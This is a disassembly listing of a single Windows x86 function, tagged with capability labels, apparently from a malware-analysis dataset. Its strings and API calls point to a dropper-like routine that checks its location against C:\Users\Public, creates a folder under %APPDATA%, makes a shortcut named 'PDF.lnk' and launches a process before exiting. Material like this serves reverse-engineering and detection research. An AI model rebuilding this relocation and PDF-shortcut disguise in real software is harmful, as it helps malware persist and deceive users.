Function at 0x402a4f
Capabilities:
Create directory
Create process on windows
Create process suspended
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea ecx, [ebp - 0x3b8]
push ebx
sub esp, 0x3dc
mov dword [esp], 0x5160e4
call fcn.004a0100
lea ecx, [ebp - 0x3b8]
push eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], 0x4be31d
call fcn.00431730
push edx
push edx
cmp eax, 0xffffffff
je 0x402acb
inc eax
mov dword [esp + 8], 0xffffffff
lea ebx, [ebp - 0x110]
mov dword [esp + 4], eax
lea eax, [ebp - 0x3b8]
mov ecx, ebx
mov dword [esp], eax
call fcn.004322d0
sub esp, 0xc
lea ecx, [ebp - 0x3b8]
mov dword [esp], ebx
call fcn.004015ce
mov ecx, ebx
push eax
call fcn.0049cec0
lea esi, [ebp - 0x3a0]
lea eax, [ebp - 0x3b8]
mov dword [esp + 4], str.C:UsersPublic_
mov dword [esp + 8], eax
mov dword [esp], esi
call fcn.004b09f4
mov dword [esp + 4], 8
mov eax, dword [ebp - 0x3a0]
lea ecx, [ebp - 0x208]
mov dword [esp], eax
call fcn.0048dcc0
push eax
push eax
cmp dword [ebp - 0x184], 0
jne 0x402bbe
mov dword [esp], esi
mov ecx, 0x5160e4
call fcn.0049fb50
push eax
mov eax, dword [0x5160e4]
cmp byte [eax], 0x22
je 0x402b88
lea edi, [ebp - 0x2fc]
mov dword [esp + 8], 0x5160e4
mov dword [esp + 4], 0x4be25b
mov dword [esp], edi
call fcn.004b09f4
mov dword [esp], 0x4be25b
mov ecx, edi
call fcn.0049e310
push edx
lea ebx, [ebp - 0x110]
mov ecx, ebx
mov dword [esp], eax
call fcn.0049fea0
push ecx
mov ecx, 0x5160e4
mov dword [esp], ebx
call fcn.004015ce
mov ecx, ebx
push eax
call fcn.0049cec0
mov ecx, edi
call fcn.0049cec0
mov dword [esp], str.Successd
call fcn.00401540
lea ecx, [ebp - 0x208]
call fcn.0048e5c0
mov ecx, esi
call fcn.0049cec0
lea ecx, [ebp - 0x3b8]
call fcn.0049cec0
lea esp, [ebp - 0xc]
mov eax, 1
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 4], 4
lea ecx, [ebp - 0x110]
mov dword [esp], 0x5160e4
call fcn.0048df00
push ebx
lea ecx, [ebp - 0x2fc]
push ebx
mov dword [esp + 4], 4
mov dword [esp], esi
call fcn.00490140
push ecx
lea eax, [ebp - 0x108]
push ecx
lea ecx, [ebp - 0x2fc]
mov dword [esp], eax
call fcn.00474ff0
push edx
lea ecx, [ebp - 0x110]
call fcn.0048db60
lea ecx, [ebp - 0x2fc]
call fcn.0048fdd0
mov dword [esp], str.appdata
lea edi, [ebp - 0x388]
call sub.msvcrt.dll_getenv
mov ecx, edi
mov dword [esp], eax
call fcn.0040166c
push eax
lea ebx, [ebp - 0x358]
mov dword [esp + 0x10], 0xa
mov dword [esp + 0xc], 1
mov dword [esp + 8], 1
mov dword [esp + 4], 1
mov dword [esp], ebx
call fcn.0040248a
lea eax, [ebp - 0x370]
mov dword [esp + 8], 0x4be342
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.004b0a78
lea edi, [ebp - 0x340]
lea eax, [ebp - 0x370]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.004b0990
mov dword [esp], edi
mov ecx, 0x5160cc
call fcn.004015ce
mov ecx, edi
push eax
call fcn.0049cec0
lea ecx, [ebp - 0x370]
call fcn.0049cec0
mov ecx, ebx
call fcn.0049cec0
xor eax, eax
mov dword [esp + 4], eax
mov eax, dword [0x5160cc]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
push eax
push eax
call fcn.004026c3
mov dword [esp + 8], str.PDF.lnk
mov dword [esp + 4], 0x5160cc
mov dword [esp], ebx
call fcn.004b0a78
mov dword [esp], 0x4be1f4
mov ecx, edi
call fcn.0040166c
push eax
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x5160cc
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.004017db
mov ecx, edi
lea edi, [ebp - 0x33c]
call fcn.0049cec0
mov ecx, ebx
call fcn.0049cec0
xor eax, eax
mov ecx, 0x10
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x340]
mov dword [ebp - 0x340], 0x44
mov dword [esp + 0x24], ebx
xor ebx, ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], ebx
mov dword [esp + 4], ebx
mov eax, dword [ebp - 0x3a0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
sub esp, 0x28
test eax, eax
je 0x402db1
mov eax, dword [ebp - 0x358]
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [esp], eax
call ebx
push ecx
mov eax, dword [ebp - 0x354]
mov dword [esp], eax
call ebx
push eax
xor edx, edx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov dword [esp + 4], str.Failed_to_execute_file.
mov dword [esp], 0x4bda40
call fcn.004b02b0
mov dword [esp], 0x4ae9a0
mov ecx, eax
call fcn.0040165c
jmp 0x402da5